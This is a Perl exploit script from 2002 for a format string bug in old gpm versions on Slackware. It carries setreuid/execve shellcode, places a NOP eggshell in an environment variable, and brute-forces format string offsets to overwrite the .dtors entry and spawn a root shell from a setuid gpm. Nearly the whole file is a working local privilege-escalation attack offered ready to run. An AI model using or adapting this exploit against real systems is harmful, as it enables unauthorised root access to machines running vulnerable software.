#!/usr/bin/perl
#
# >> gpm ver.<=1.19.6 exploit. wh0a.<<
#
# A silly format strings bug, that i found. As i noticed it had been
# an advisory and that bug was fixed in later releases of gpm.
# Nothing important since, 100% of gpm will not be installed suid.
# Although i 've coded it just for fun.
#
# TESTED : gpm-Linux 1.19.2, $Date: 2000/01/17 22:23:03 $ (slackware 7.1)
# gpm 1.19.6, Thu Oct 4 00:21:21 CEST 2001 (slackware 8.1)
#
# Just change the GOTADD, by doing :
# objdump -s -j .dtors /path/gpm, and add 0x04 to the value you'll get.
# Except gotadd you don't have to change anything exploit will brute force
# correct distance & align.
#
# (c) 2002 killah @ hack . gr
#
$shellcode = # SETREUID(0,0); #
"\x31\xc0\x31\xdb\x31\xc9".
"\x31\xd2\xb0\x46\xcd\x80". # EXECVE() /BIN/SH; #
"\x99". #/* cdq */
"\x52". #/* push %edx */
"\x68\x2f\x2f\x73\x68". #/* push $0x68732f2f */
"\x68\x2f\x62\x69\x6e". #/* push $0x6e69622f */
"\x89\xe3". #/* mov %esp,%ebx */
"\x52". #/* push %edx */
"\x54". #/* push %esp */
"\x54". #/* push %esp */
"\x59\x6a". #/* pop %ecx */
"\x0b\x58". #/* push $0x0b */
"\xcd\x80"; #/* int $0x80 */
$vuln = "/usr/sbin/gpm"; # location of vulnerable program
$return = 0xc0000000-(length($vuln)+1)-12-(length($shellcode)+1);
#$gotadd= 0x8058678; # Slackware 7.1 gpm.
$gotadd = 0x805810c; # Slackware 8.1 gpm.
$nop = 0x90; # IA-32 NOP.
$eggsize= 5000; # eggshell size
#stat($vuln);
#die("Error: gpm no such file or directory.\n") if ! -e _;
#printf("Error: gpm is not installed setuid.\n") if ! -u _;
## Make the eggshell - and place it in $ENV.
for ($i = 0; $i < ($eggsize - length($shellcode)); $i++)
{
$buffer .= $nop;
}
$buffer .= $shellcode; $ENV{'USERNAME'} = $buffer;
## Make the high and low address / $return.
$high = (($return >> 16) & 0xffff) - 8;
$tmp = $return & 0xffff;
$low = $tmp - $high;
printf("Return: %#lx / High: %d / Low: %d\n\n",
$return,
$high,
$low
);
# brute force alignement.
for ($i = 0; $i < 4300; $i++)
{
# brute force distance.
for ($t = 0; $t < 600; $t++)
{
$f = $t + 1;
$align = 'A' x $i;
$fs = pack('l', ($gotadd + 2));
$fs .= pack('l', $gotadd);
$fs .= "%.${high}u%$t\$hn%.${low}u%$f\$hn$align";
$x = (system($vuln, "-D", "-m", $fs));
}
}
#EOF
97av